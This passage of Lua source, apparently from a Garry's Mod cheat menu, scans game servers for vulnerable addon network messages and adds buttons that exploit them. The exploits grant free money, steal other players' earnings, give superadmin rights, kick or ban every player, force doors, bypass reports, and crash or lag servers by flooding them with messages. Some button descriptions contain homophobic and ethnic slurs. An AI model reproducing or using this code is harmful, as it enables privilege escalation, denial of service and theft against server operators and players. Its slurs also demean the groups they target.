997 totalSploits = 1 + totalSploits
998 local id = vgui.Create("DButton", exploitsScrollPanel)
999 id:SetText(text)
1000 id:SetTextColor(Color(200, 200, 200))
1001 id:SetFont("Roboto")
1002 id:Dock(TOP)
1003 id:DockMargin(10, 10, 10, -5)
1004 id:DockPadding(2, 25, 2, 50)
1005 id.DoClick = func
1006
1007 if desc then
1008 id:SetToolTip(desc)
1009 end
1010
1011 id.Paint = function(self, w, h)
1012 id.OnCursorEntered = function(self)
1013 -- surface.PlaySound( "garrysmod/ui_hover.wav" )
1014 surface.PlaySound("buttons/button15.wav")
1015 end
1016
1017 if id:IsHovered() then
1018 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
1019 surface.SetDrawColor(Color(0, 0, 0, 255))
1020 surface.DrawOutlinedRect(0, 0, id:GetSize())
1021 surface.DrawOutlinedRect(0, 25, id:GetSize())
1022 else
1023 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
1024 surface.SetDrawColor(Color(0, 0, 0, 255))
1025 surface.DrawOutlinedRect(0, 0, id:GetSize())
1026 surface.DrawOutlinedRect(0, 25, id:GetSize())
1027 end
1028 end
1029 end
1030
1031 --////////////////// [EXPLOITS] ////////////////////
1032 status = ValidNetString("TCBBuyAmmo")
1033
1034 if (status) then
1035 ECPrint("Found Exploit: Free Ammo [TCBBuyAmmo]")
1036
1037 addExploit("1", "Free Ammo", "Gets All Ammo Types", function()
1038 surface.PlaySound("garrysmod/ui_click.wav")
1039 ECPrint("Getting Le Ammo")
1040
1041 for k, v in pairs(GAMEMODE.AmmoTypes) do
1042 net.Start("TCBBuyAmmo")
1043 net.WriteTable({nil, v.ammoType, nil, "0", "999999"})
1044 net.SendToServer()
1045 end
1046 end)
1047 end
1048
1049 status = ValidNetString("DataSend")
1050
1051 if (status) then
1052 ECPrint("Found Exploit: Steal All Monies #1 [DataSend]")
1053
1054 addExploit("2", "Steal All Monies #1", "Takes money from printers", function()
1055 surface.PlaySound("garrysmod/ui_click.wav")
1056
1057 for k, v in pairs(ents.GetAll()) do
1058 if v:GetClass() == "adv_moneyprinter" then
1059 ECPrint("Collecting Money")
1060 net.Start("DataSend")
1061 net.WriteFloat(2)
1062 net.WriteEntity(v)
1063 net.WriteEntity(LocalPlayer())
1064 net.SendToServer()
1065 end
1066 end
1067 end)
1068 end
1069
1070 status = ValidNetString("FarmingmodSellItems")
1071
1072 if (status) then
1073 ECPrint("Found Exploit: Free Money [FarmingmodSellItems]")
1074
1075 addExploit("3", "Free Money", "An exploit in the Farming Mod", function()
1076 surface.PlaySound("garrysmod/ui_click.wav")
1077 ECPrint("Enjoy the b1g monies")
1078 net.Start("FarmingmodSellItems")
1079
1080 net.WriteTable({
1081 Cost = 10,
1082 CropModel = "models/props/eryk/garlic.mdl",
1083 CropType = 2,
1084 Info = "Garlic Seed",
1085 Model = "models/props/eryk/seedbag.mdl",
1086 Name = "Garlic",
1087 Quality = 4,
1088 Sell = 99999,
1089 Type = "Seed"
1090 })
1091
1092 net.WriteInt(1, 16)
1093 net.SendToServer()
1094 end)
1095 end
1096
1097 status = ValidNetString("start_wd_emp")
1098
1099 if (status) then
1100 ECPrint("Found Exploit: Hack Keypad [start_wd_emp]")
1101
1102 addExploit("4", "Hack Keypad", "Instantly opens nearby keypads. Has a cooldown", function()
1103 surface.PlaySound("garrysmod/ui_click.wav")
1104 ECNotify("Hacking Keypads")
1105 net.Start("start_wd_emp")
1106 net.SendToServer()
1107 end)
1108 end
1109
1110 status = ValidNetString("duelrequestguiYes")
1111
1112 if (status) then
1113 ECPrint("Found Exploit: Get Money [duelrequestguiYes]")
1114
1115 addExploit("5", "Get Money", "Duel Exploit", function()
1116 surface.PlaySound("garrysmod/ui_click.wav")
1117 ECNotify("getting ez monies")
1118 net.Start("duelrequestguiYes")
1119 net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999, 32)
1120 net.WriteEntity(table.Random(player.GetAll()))
1121 net.WriteString("Crossbow")
1122 net.SendToServer()
1123 end)
1124 end
1125
1126 status = ValidNetString("DarkRP_Kun_ForceSpawn")
1127
1128 if (status) then
1129 ECPrint("Found Exploit: Respawn #1 [DarkRP_Kun_ForceSpawn]")
1130
1131 addExploit("6", "Respawn #1", "Just respawn", function()
1132 surface.PlaySound("garrysmod/ui_click.wav")
1133 ECPrint("Respawn")
1134 net.Start("DarkRP_Kun_ForceSpawn")
1135 net.SendToServer()
1136 end)
1137 end
1138
1139 status = ValidNetString("SyncPrinterButtons76561198056171650")
1140
1141 if (status) then
1142 ECPrint("Found Exploit: Steal All Monies #2 [SyncPrinterButtons76561198056171650]")
1143
1144 addExploit("7", "Steal All Monies #2", "Takes money from printers", function()
1145 surface.PlaySound("garrysmod/ui_click.wav")
1146 ECPrint("Collecting Money")
1147
1148 for k, v in pairs(ents.GetAll()) do
1149 if (v:GetClass() == "adv_moneyprinter") then
1150 net.Start("SyncPrinterButtons76561198056171650")
1151 net.WriteEntity(v)
1152 net.WriteUInt(2, 4)
1153 net.SendToServer()
1154 end
1155 end
1156 end)
1157 end
1158
1159 ---------------------------------------------------------------------------------------------
1160 local function report()
1161 for i = 1, 2000 do
1162 net.Start("DL_Answering")
1163 net.SendToServer()
1164 end
1165 end
1166
1167 if (Damagelog) then
1168 ECPrint("Found Exploit: Kick All Players")
1169 reportSpam = 0
1170
1171 addExploit("1337", "Kick All Players", "Kicks all players", function()
1172 surface.PlaySound("garrysmod/ui_click.wav")
1173
1174 if (reportSpam == 0) then
1175 ECNotify("Starting Kicker")
1176 reportSpam = 1
1177 timer.Create("reportSpammer", 0.05, 0, report)
1178 else
1179 ECNotify("Stopping Kicker")
1180 reportSpam = 0
1181 timer.Remove("reportSpammer")
1182 end
1183 end)
1184 end
1185
1186 ----------------------------------------------------------------------------------------------
1187 status = ValidNetString("SimplicityAC_aysent")
1188
1189 if (status) then
1190 ECPrint("Found Exploit: Crash #1 [SimplicityAC_aysent]")
1191
1192 addExploit("8", "Crash #1", "Will instantly crash the server", function()
1193 surface.PlaySound("garrysmod/ui_click.wav")
1194 ECPrint("Goodbye Server")
1195 local tbl = {}
1196
1197 for i = 1, 400 do
1198 tbl[i] = i
1199 end
1200
1201 net.Start("SimplicityAC_aysent")
1202 net.WriteUInt(1, 8)
1203 net.WriteUInt(4294967295, 32)
1204 net.WriteTable(tbl)
1205 net.SendToServer()
1206 end)
1207 end
1208
1209 status = ValidNetString("RevivePlayer")
1210
1211 if (status) then
1212 ECPrint("Found Exploit: Reanimation #1 [RevivePlayer]")
1213
1214 addExploit("9", "Reanimation #1", "Instant revival", function()
1215 surface.PlaySound("garrysmod/ui_click.wav")
1216
1217 if not timer.Exists("reanimation1") then
1218 ECNotify("Enabled")
1219
1220 timer.Create("reanimation1", 0.5, 0, function()
1221 if not LocalPlayer():Alive() then
1222 net.Start("RevivePlayer")
1223 net.WriteEntity(LocalPlayer())
1224 net.SendToServer()
1225 end
1226 end)
1227 else
1228 timer.Remove("reanimation1")
1229 ECNotify("Disabled")
1230 end
1231 end)
1232 end
1233
1234 status = ValidNetString("NLRKick")
1235
1236 if (status) then
1237 ECPrint("Found Exploit: Kick Everyone [NLRKick]")
1238
1239 addExploit("10", "Kick Everyone", "kick all the beaners", function()
1240 surface.PlaySound("garrysmod/ui_click.wav")
1241 ECNotify("Kicking All")
1242
1243 for k, v in pairs(player.GetAll()) do
1244 if v ~= LocalPlayer() then
1245 net.Start("NLRKick")
1246 net.WriteEntity(v)
1247 net.SendToServer()
1248 end
1249 end
1250 end)
1251 end
1252
1253 status = ValidNetString("timebombDefuse")
1254
1255 if (status) then
1256 ECPrint("Found Exploit: Delete All Props [timebombDefuse]")
1257
1258 addExploit("11", "Delete All Props", "props = dead", function()
1259 surface.PlaySound("garrysmod/ui_click.wav")
1260 ECNotify("Props De_Stroyed")
1261
1262 for k, v in pairs(ents.GetAll()) do
1263 net.Start("timebombDefuse")
1264 net.WriteEntity(v)
1265 net.WriteBool(true)
1266 net.SendToServer()
1267 end
1268 end)
1269 end
1270
1271 status = ValidNetString("NDES_SelectedEmblem")
1272
1273 if (status) then
1274 ECPrint("Found Exploit: Lagger #2 [NDES_SelectedEmblem]")
1275
1276 addExploit("12", "Lagger #2", "oof yuh get l4gged", function()
1277 surface.PlaySound("garrysmod/ui_click.wav")
1278
1279 if not timer.Exists("lagger2") then
1280 timer.Create("lagger2", 0.5, 0, function()
1281 for i = 1, 2000 do
1282 net.Start("NDES_SelectedEmblem", true)
1283 net.WriteString("seized")
1284 net.SendToServer()
1285 end
1286 end)
1287
1288 ECNotify("Starting Lagger")
1289 else
1290 timer.Remove("lagger2")
1291 ECNotify("Stopping Lagger")
1292 end
1293 end)
1294 end
1295
1296 status = ValidNetString("Morpheus.StaffTracker")
1297
1298 if (status) then
1299 ECPrint("Found Exploit: Crasher #1 [Morpheus.StaffTracker]")
1300
1301 addExploit("13", "Crasher #1", "not even hard. unlike nippy's dick when he sees voltz", function()
1302 surface.PlaySound("garrysmod/ui_click.wav")
1303
1304 if not timer.Exists("crasher1") then
1305 timer.Create("crasher1", 0.5, 0, function()
1306 for i = 1, 2000 do
1307 net.Start("Morpheus.StaffTracker")
1308 net.SendToServer()
1309 end
1310 end)
1311
1312 ECNotify("Crashing Server")
1313 else
1314 timer.Remove("crasher1")
1315 ECNotify("Canceling Crasher")
1316 end
1317 end)
1318 end
1319
1320 status = ValidNetString("egg")
1321
1322 if (status) then
1323 ECPrint("Found Exploit: Get Easter Egg")
1324
1325 addExploit("14", "Get Easter Egg", "ez eggs", function()
1326 surface.PlaySound("garrysmod/ui_click.wav")
1327 RunConsoleCommand("say", "4bigz")
1328 RunConsoleCommand("cc_egg2")
1329 net.Start("egg")
1330 net.SendToServer()
1331 ECNotify("Gave Easter Egg")
1332 end)
1333 end
1334
1335 status = ValidNetString("pplay_deleterow")
1336
1337 if (status) then
1338 ECPrint("Found Exploit: GET SUPERADMIN [pplay_deleterow]")
1339
1340 addExploit("15", "GET SUPERADMIN", "Rejoin game after clicking", function()
1341 surface.PlaySound("garrysmod/ui_click.wav")
1342 local id = LocalPlayer():SteamID()
1343 local tbl = {}
1344 tbl.name = "FAdmin_PlayerGroup"
1345 tbl.where = {"steamid", tostring(id)}
1346 net.Start("pplay_deleterow")
1347 net.WriteTable(tbl)
1348 net.SendToServer()
1349 local tbl = {}
1350 tbl.tblname = "FAdmin_PlayerGroup"
1351 tbl.tblinfo = {tostring(id), "superadmin"}
1352 net.Start("pplay_addrow")
1353 net.WriteTable(tbl)
1354 net.SendToServer()
1355 ECNotify("promotion ;)")
1356 end)
1357 end
1358
1359 -- ttt report bypass by daddy grampa
1360 local function CheckChild(pan)
1361 local title = "You have been reported! Please answer all your reports."
1362 if not pan or not IsValid(pan) then return end
1363
1364 if pan.GetTitle and pan:GetTitle() == title then
1365 pan:Remove()
1366 print("Removed warning box")
1367
1368 return
1369 end
1370
1371 for k, v in pairs(pan:GetChildren()) do
1372 if v.GetTitle and v:GetTitle() == title then
1373 v:Remove()
1374 print("Removed warning box")
1375
1376 return
1377 end
1378
1379 if #v:GetChildren() > 0 then
1380 CheckChild(v)
1381 end
1382 end
1383 end
1384
1385 if (engine.ActiveGamemode() == "terrortown") then
1386 bypass = 0
1387 ECPrint("Found Exploit: TTT Report Bypass")
1388
1389 addExploit("16", "Toggle TTT Report Bypass", "b1g bypass amirite", function()
1390 surface.PlaySound("garrysmod/ui_click.wav")
1391
1392 if (bypass == 0) then
1393 hook.Add("Think", "remove_ttt_report", function()
1394 local pan = vgui.GetHoveredPanel()
1395 CheckChild(pan)
1396 end)
1397
1398 ECNotify("Enabled Report Bypass")
1399 bypass = 1
1400 else
1401 hook.Remove("Think", "remove_ttt_report")
1402 ECNotify("Disabled Report Bypass")
1403 bypass = 0
1404 end
1405 end)
1406 end
1407
1408 status = ValidNetString("EZS_PlayerTag")
1409
1410 if (status) then
1411 ECPrint("Found Exploit: Lagger #3 [EZS_PlayerTag]")
1412
1413 addExploit("17", "Lagger #3", "b1g lags my duder", function()
1414 surface.PlaySound("garrysmod/ui_click.wav")
1415
1416 if not timer.Exists("lagger3") then
1417 timer.Create("lagger3", 0.5, 0, function()
1418 for k, v in pairs(player.GetAll()) do
1419 net.Start("EZS_PlayerTag", true)
1420 net.WriteEntity(v)
1421 net.WriteString("Seized")
1422 net.SendToServer()
1423
1424 timer.Simple(2, function()
1425 net.Start("EZS_PlayerTag", true)
1426 net.WriteEntity(v)
1427 net.WriteString("Seized")
1428 net.SendToServer()
1429 end)
1430 end
1431 end)
1432
1433 ECNotify("Starting Lagger")
1434 else
1435 timer.Remove("lagger3")
1436 ECNotify("Stopping Lagger")
1437 end
1438 end)
1439 end
1440
1441 if ConVarExists("advttt_spreadovertime_enabled") then
1442 ECPrint("Found Exploit: Remove Spread")
1443
1444 addExploit("18", "Remove Spread", "pSilent No Spread", function()
1445 surface.PlaySound("garrysmod/ui_click.wav")
1446 hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
1447 ECNotify("Spread Removed")
1448 end)
1449 end
1450
1451 status = ValidNetString("fp_as_doorHandler")
1452
1453 if (status) then
1454 ECPrint("Found Exploits: Open Door, Close Door, Remove Door Owners [fp_as_doorHandler]")
1455
1456 addExploit("19", "Open Door", "Force open the door you are looking at", function()
1457 surface.PlaySound("garrysmod/ui_click.wav")
1458 net.Start("fp_as_doorHandler")
1459 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
1460 net.WriteString("unlock")
1461 net.SendToServer()
1462 ECNotify("Opened Door")
1463 end)
1464 end
1465
1466 status = ValidNetString("fp_as_doorHandler")
1467
1468 if (status) then
1469 addExploit("20", "Close Door", "Force close the door you are looking at", function()
1470 surface.PlaySound("garrysmod/ui_click.wav")
1471 net.Start("fp_as_doorHandler")
1472 net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
1473 net.WriteString("lock")
1474 net.SendToServer()
1475 ECNotify("Opened Door")
1476 end)
1477 end
1478
1479 status = ValidNetString("fp_as_doorHandler")
1480
1481 if (status) then
1482 addExploit("21", "Remove Door Owner", "Force remove door owner of the door you are looking at", function()
1483 surface.PlaySound("garrysmod/ui_click.wav")
1484 local door = LocalPlayer():GetEyeTrace().Entity
1485 local doorOwner = door:getDoorData()["owner"]
1486 net.Start("fp_as_doorHandler")
1487 net.WriteEntity(door)
1488 net.WriteString("removeOwner")
1489 net.WriteDouble(doorOwner)
1490 net.SendToServer()
1491 ECNotify("Opened Door")
1492 end)
1493 end
1494
1495 status = ValidNetString("VJSay")
1496
1497 if (status) then
1498 ECPrint("Found Exploit: VJSay [OLD] [VJSay]")
1499
1500 addExploit("22", "VJSay [OLD]", "", function()
1501 surface.PlaySound("garrysmod/ui_click.wav")
1502 inputFrame2Exists = true
1503 inputFrame2 = vgui.Create("DFrame")
1504 inputFrame2:SetTitle("Enter your message!")
1505 inputFrame2:SetSize(400, 75)
1506 inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230)
1507 inputFrame2:SetDraggable(false)
1508 inputFrame2:ShowCloseButton(false)
1509 inputFrame2:MakePopup()
1510
1511 inputFrame2.Paint = function(self, w, h)
1512 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
1513 end
1514
1515 local TextEntry2 = vgui.Create("DTextEntry", inputFrame2)
1516 TextEntry2:SetSize(380, 30)
1517 TextEntry2:SetPos(inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2)
1518 TextEntry2:SetText("Broadcast Msg")
1519
1520 TextEntry2.OnEnter = function(self)
1521 surface.PlaySound("garrysmod/ui_click.wav")
1522 ECNotify("Broadcasting")
1523 net.Start("VJSay")
1524 net.WriteEntity(nil)
1525 net.WriteString(TextEntry2:GetValue())
1526 net.WriteString("")
1527 net.SendToServer()
1528 inputFrame2:SetVisible(false)
1529 end
1530 end)
1531 end
1532
1533 status = ValidNetString("ply_pick_shit")
1534
1535 if (status) then
1536 ECPrint("Found Exploit: free money amirite [ply_pick_shit]")
1537
1538 addExploit("23", "free money amirite", "stacks in ur wallet generator", function()
1539 surface.PlaySound("garrysmod/ui_click.wav")
1540
1541 for k, v in pairs(player.GetAll()) do
1542 for i = 1, 255 do
1543 net.Start("ply_pick_shit")
1544 net.WriteEntity(LocalPlayer())
1545 net.WriteEntity(v)
1546 net.SendToServer()
1547 end
1548 end
1549
1550 ECNotify("enjoy monies")
1551 end)
1552 end
1553
1554 status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
1555
1556 if (status) then
1557 ECPrint("Found Exploit: Crasher #2 [pac.net.TouchFlexes.ClientNotify]")
1558
1559 addExploit("24", "Crasher #2", "big lagz", function()
1560 surface.PlaySound("garrysmod/ui_click.wav")
1561
1562 if not timer.Exists("crasher2") then
1563 timer.Create("crasher2", 0, 0, function()
1564 for i = 1, 400 do
1565 net.Start("pac.net.TouchFlexes.ClientNotify")
1566 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 13)
1567 net.SendToServer()
1568 end
1569 end)
1570
1571 ECNotify("Starting Crasher")
1572 else
1573 timer.Remove("crasher2")
1574 ECNotify("Stopping Crasher")
1575 end
1576 end)
1577 end
1578
1579 status = ValidNetString("BM2.Command.SellBitcoins")
1580
1581 if (status) then
1582 ECPrint("Found Exploit: Sell Your Bitcoins [BM2.Command.SellBitcoins]")
1583
1584 addExploit("25", "Sell your Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
1585 surface.PlaySound("garrysmod/ui_click.wav")
1586
1587 for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
1588 net.Start("BM2.Command.SellBitcoins")
1589 net.WriteEntity(v)
1590 net.SendToServer()
1591 end
1592
1593 for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
1594 net.Start("BM2.Command.SellBitcoins")
1595 net.WriteEntity(v)
1596 net.SendToServer()
1597 end
1598
1599 for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
1600 net.Start("BM2.Command.SellBitcoins")
1601 net.WriteEntity(v)
1602 net.SendToServer()
1603 end
1604 end)
1605 end
1606
1607 status = ValidNetString("BM2.Command.Eject")
1608
1609 if (status) then
1610 ECPrint("Found Exploit: Lagger #4 [BM2.Command.Eject]")
1611
1612 addExploit("26", "Lagger #4", "discovered by triggered", function()
1613 surface.PlaySound("garrysmod/ui_click.wav")
1614
1615 if not timer.Exists("lagger4") then
1616 timer.Create("lagger4", 0, 0, function()
1617 for i = 1, 1000 do
1618 net.Start("BM2.Command.Eject", true)
1619 net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
1620 net.SendToServer()
1621 end
1622 end)
1623
1624 ECNotify("Starting Lagger")
1625 else
1626 timer.Remove("lagger4")
1627 ECNotify("Stopping Lagger")
1628 end
1629 end)
1630 end
1631
1632 status = ValidNetString("BM2.Command.SellBitcoins")
1633
1634 if (status) then
1635 ECPrint("Found Exploit: Lagger #5 [BM2.Command.SellBitcoins]")
1636
1637 addExploit("27", "Lagger #5", "discovered by Leith, an exploit in the addon 'Bitminers 2'", function()
1638 surface.PlaySound("garrysmod/ui_click.wav")
1639
1640 timer.Create("lagger5", 0, 0, function()
1641 for i = 1, 1000 do
1642 net.Start("BM2.Command.SellBitcoins", true)
1643 net.WriteEntity(LocalPlayer())
1644 net.SendToServer()
1645 end
1646 end)
1647 end)
1648 end
1649
1650 status = ValidNetString("ItemStoreUse")
1651
1652 if (status) then
1653 ECPrint("Found Exploit: Lagger #6 [ItemStoreUse]")
1654
1655 addExploit("28", "Lagger #6", "discovered by triggered, an exploit in the addon 'ItemStore'", function()
1656 surface.PlaySound("garrysmod/ui_click.wav")
1657
1658 if not timer.Exists("lagger6") then
1659 timer.Create("lagger6", 0, 0, function()
1660 for i = 1, 1000 do
1661 net.Start("ItemStoreUse", true)
1662 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1663 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1664 net.SendToServer()
1665 end
1666 end)
1667
1668 ECNotify("Starting Lagger")
1669 else
1670 timer.Remove("lagger6")
1671 ECNotify("Stopping Lagger")
1672 end
1673 end)
1674 end
1675
1676 status = ValidNetString("ItemStoreDrop")
1677
1678 if (status) then
1679 ECPrint("Found Exploit: Lagger #7 [ItemStoreDrop]")
1680
1681 addExploit("29", "Lagger #7", "discovered by Leith, an exploit in the addon 'ItemStore'", function()
1682 surface.PlaySound("garrysmod/ui_click.wav")
1683
1684 if not timer.Exists("lagger7") then
1685 timer.Create("lagger7", 0, 0, function()
1686 for i = 1, 1000 do
1687 net.Start("ItemStoreDrop", true)
1688 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1689 net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1690 net.SendToServer()
1691 end
1692 end)
1693
1694 ECNotify("Starting Lagger")
1695 else
1696 timer.Remove("lagger7")
1697 ECNotify("Stopping Lagger")
1698 end
1699 end)
1700 end
1701
1702 status = ValidNetString("gMining.sellMineral")
1703
1704 if (status) then
1705 ECPrint("Found Exploit: Lagger #8 [gMining.sellMineral]")
1706
1707 addExploit("30", "Lagger #8", "discovered by Leith, an exploit in the addon 'gMining'", function()
1708 surface.PlaySound("garrysmod/ui_click.wav")
1709 ECNotify("Starting")
1710
1711 if not timer.Exists("lagger8") then
1712 timer.Create("lagger8", 0, 0, function()
1713 for i = 1, 1000 do
1714 net.Start("gMining.sellMineral", true)
1715 net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
1716 net.WriteString(" ")
1717 net.SendToServer()
1718 end
1719 end)
1720 end
1721 end)
1722 end
1723
1724 status = ValidNetString("PlayerUseItem")
1725
1726 if (status) then
1727 ECPrint("Found Exploit: Lagger #9 [PlayerUseItem]")
1728
1729 addExploit("31", "Lagger #9", "discovered by triggered", function()
1730 surface.PlaySound("garrysmod/ui_click.wav")
1731
1732 if not timer.Exists("lagger9") then
1733 timer.Create("lagger9", 0, 0, function()
1734 for i = 1, 800 do
1735 net.Start("PlayerUseItem", true)
1736 net.WriteInt(99999999999999999999999999999999999999999999999, 32)
1737 net.SendToServer()
1738 end
1739 end)
1740
1741 ECNotify("Starting Lagger")
1742 else
1743 timer.Remove("lagger9")
1744 ECNotify("Stopping Lagger")
1745 end
1746 end)
1747 end
1748
1749 status = ValidNetString("RequestMAPSize")
1750
1751 if (status) then
1752 ECPrint("Found Exploit: Lagger #10 [RequestMAPSize]")
1753
1754 addExploit("32", "Lagger #10", "1tap server", function()
1755 surface.PlaySound("garrysmod/ui_click.wav")
1756
1757 if not timer.Exists("lagger10") then
1758 timer.Create("lagger10", 0, 0, function()
1759 for i = 1, 400 do
1760 net.Start("RequestMAPSize", true)
1761 net.SendToServer()
1762 end
1763 end)
1764
1765 ECNotify("Starting Lagger")
1766 else
1767 timer.Remove("lagger10")
1768 ECNotify("Stopping Lagger")
1769 end
1770 end)
1771 end
1772
1773 status = ValidNetString("MG2.Request.GangRankings")
1774
1775 if (status) then
1776 ECPrint("Found Exploit: Lagger #11 [MG2.Request.GangRankings]")
1777
1778 addExploit("33", "Lagger #11", "discovered by Leith, an exploit in the addon 'MGangs 2'", function()
1779 surface.PlaySound("garrysmod/ui_click.wav")
1780
1781 if not timer.Exists("lagger11") then
1782 timer.Create("lagger11", 0, 0, function()
1783 for i = 1, 1000 do
1784 net.Start("MG2.Request.GangRankings", true)
1785 net.SendToServer()
1786 end
1787 end)
1788
1789 ECNotify("Starting Lagger")
1790 else
1791 timer.Remove("lagger11")
1792 ECNotify("Stopping Lagger")
1793 end
1794 end)
1795 end
1796
1797 status = ValidNetString("dLogsGetCommand")
1798
1799 if (status) then
1800 ECPrint("Found Exploit: Lagger #12 [dLogsGetCommand]")
1801
1802 addExploit("34", "Lagger #12", "b1g lags", function()
1803 surface.PlaySound("garrysmod/ui_click.wav")
1804 ECNotify("Starting Lagger")
1805
1806 for i = 1, 7000 do
1807 net.Start("dLogsGetCommand", true)
1808
1809 net.WriteTable({
1810 cmd = "+forward",
1811 args = " "
1812 })
1813
1814 net.SendToServer()
1815 end
1816 end)
1817 end
1818
1819 status = ValidNetString("ats_send_toServer")
1820
1821 if (status) then
1822 ECPrint("Found Exploit: Lagger #13 [ats_send_toServer]")
1823
1824 addExploit("35", "Lagger #13", "big lags", function()
1825 surface.PlaySound("garrysmod/ui_click.wav")
1826 ECNotify("Starting Lagger")
1827
1828 for i = 1, 2000 do
1829 net.Start("ats_send_toServer", true)
1830 net.WriteTable({" ", "Open", nil, nil, nil, nil})
1831 net.SendToServer()
1832 end
1833 end)
1834 end
1835
1836 status = ValidNetString("shopguild_buyitem")
1837
1838 if (status) then
1839 ECPrint("Found Exploit: Guild Exploit [shopguild_buyitem]")
1840
1841 addExploit("36", "Guild Exploit", "increases the level of your guild", function()
1842 surface.PlaySound("garrysmod/ui_click.wav")
1843 ECPrint("Guild level successfully upgraded")
1844 local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
1845
1846 if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then
1847 level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
1848 end
1849
1850 net.Start("shopguild_buyitem")
1851 net.WriteString("lvl")
1852 net.WriteDouble(level)
1853 net.WriteString("Guild Level " .. level)
1854 net.WriteEntity(LocalPlayer())
1855 net.WriteUInt(2, 4)
1856 net.WriteDouble(0)
1857 net.SendToServer()
1858 level = level + 1
1859 end)
1860 end
1861
1862 status = ValidNetString("VoteKickNO")
1863
1864 if (status) then
1865 ECPrint("Found Exploit: Votekick [VoteKickNO]")
1866
1867 addExploit("37", "Votekick", "kicking all", function()
1868 surface.PlaySound("garrysmod/ui_click.wav")
1869
1870 for k, v in pairs(player.GetAll()) do
1871 net.Start("VoteKickNO")
1872 net.WriteFloat(v:EntIndex())
1873 net.WriteFloat(6)
1874 net.SendToServer()
1875 net.Start("VoteKickNO")
1876 net.WriteFloat(v:EntIndex())
1877 net.WriteFloat(6)
1878 net.SendToServer()
1879 net.Start("VoteKickNO")
1880 net.WriteFloat(v:EntIndex())
1881 net.WriteFloat(6)
1882 net.SendToServer()
1883 net.Start("VoteKickNO")
1884 net.WriteFloat(v:EntIndex())
1885 net.WriteFloat(6)
1886 net.SendToServer()
1887 end
1888 end)
1889 end
1890
1891 status = ValidNetString("VoteBanNO")
1892
1893 if (status) then
1894 ECPrint("Found Exploit: Voteban [VoteBanNO]")
1895
1896 addExploit("38", "Voteban", "bans all", function()
1897 surface.PlaySound("garrysmod/ui_click.wav")
1898
1899 for k, v in pairs(player.GetAll()) do
1900 net.Start("VoteBanNO")
1901 net.WriteFloat(v:EntIndex())
1902 net.WriteFloat(8)
1903 net.SendToServer()
1904 net.Start("VoteBanNO")
1905 net.WriteFloat(v:EntIndex())
1906 net.WriteFloat(8)
1907 net.SendToServer()
1908 net.Start("VoteBanNO")
1909 net.WriteFloat(v:EntIndex())
1910 net.WriteFloat(8)
1911 net.SendToServer()
1912 end
1913 end)
1914 end
1915
1916 status = ValidNetString("NewReport")
1917
1918 if (status) then
1919 ECPrint("Found Exploit: Custom Report [NewReport]")
1920
1921 addExploit("39", "Custom Report", "Report all faggots", function()
1922 surface.PlaySound("garrysmod/ui_click.wav")
1923
1924 for k, v in pairs(player.GetAll()) do
1925 net.Start("NewReport")
1926 net.WriteType(ply)
1927 net.WriteInt(8, 5)
1928 net.WriteString("hahaha")
1929 net.SendToServer()
1930 end
1931 end)
1932 end
1933
1934 status = ValidNetString("Warn_CreateWarn")
1935
1936 if (status) then
1937 ECPrint("Found Exploit: Custom Warn [Warn_CreateWarn]")
1938
1939 addExploit("40", "Custom Warn", "Warn all faggots", function()
1940 surface.PlaySound("garrysmod/ui_click.wav")
1941
1942 for k, v in pairs(player.GetAll()) do
1943 net.Start("Warn_CreateWarn")
1944 net.WriteEntity(ply)
1945 net.WriteString("hahaha")
1946 net.SendToServer()
1947 end
1948 end)
1949 end
1950
1951 status = ValidNetString("showDisguiseHUD")
1952
1953 if (status) then
1954 ECPrint("Found Exploit: Disguise #2 [showDisguiseHUD]")
1955
1956 addExploit("41", "Disguise #2", "allows you to disguise as any job", function()
1957 surface.PlaySound("garrysmod/ui_click.wav")
1958 ECPrint("Choose a disguise")
1959 PlayerCount = 0
1960
1961 for k, v in pairs(player.GetAll()) do
1962 PlayerCount = PlayerCount + 1
1963 end
1964
1965 local TeamNum
1966 local disguise_Model_Preview_Default
1967 local base = vgui.Create("DFrame")
1968 base:SetSize(300, 420)
1969 base:Center()
1970 base:SetTitle(" ")
1971 base:ShowCloseButton(false)
1972 base:MakePopup()
1973
1974 function base:Paint()
1975 draw.RoundedBoxEx(5, 0, 0, base:GetWide(), base:GetTall(), Color(20, 20, 20, 200), false, true)
1976 draw.RoundedBox(0, 0, 30, base:GetWide(), base:GetTall() - 60, Color(10, 10, 10, 200))
1977 draw.RoundedBox(0, 0, 30, base:GetWide(), 5, Color(255, 255, 255, 255))
1978 draw.RoundedBox(0, 0, 390, base:GetWide(), 5, Color(255, 255, 255, 255))
1979 draw.SimpleText("Disguise", "DisFontBold", base:GetWide() / 4, -1)
1980 end
1981
1982 local ExitButton = vgui.Create("DButton", base)
1983 ExitButton:SetPos(base:GetWide() + 4 - ExitButton:GetWide())
1984 ExitButton:SetText("Close")
1985 ExitButton:SetSize(60, 20)
1986 ExitButton:SetFont("DermaDefaultBold")
1987
1988 ExitButton.Paint = function()
1989 if ExitButton.Hovered then
1990 if ExitButton:IsDown() then
1991 ExitButton:SetTextColor(Color(200, 200, 200, 200))
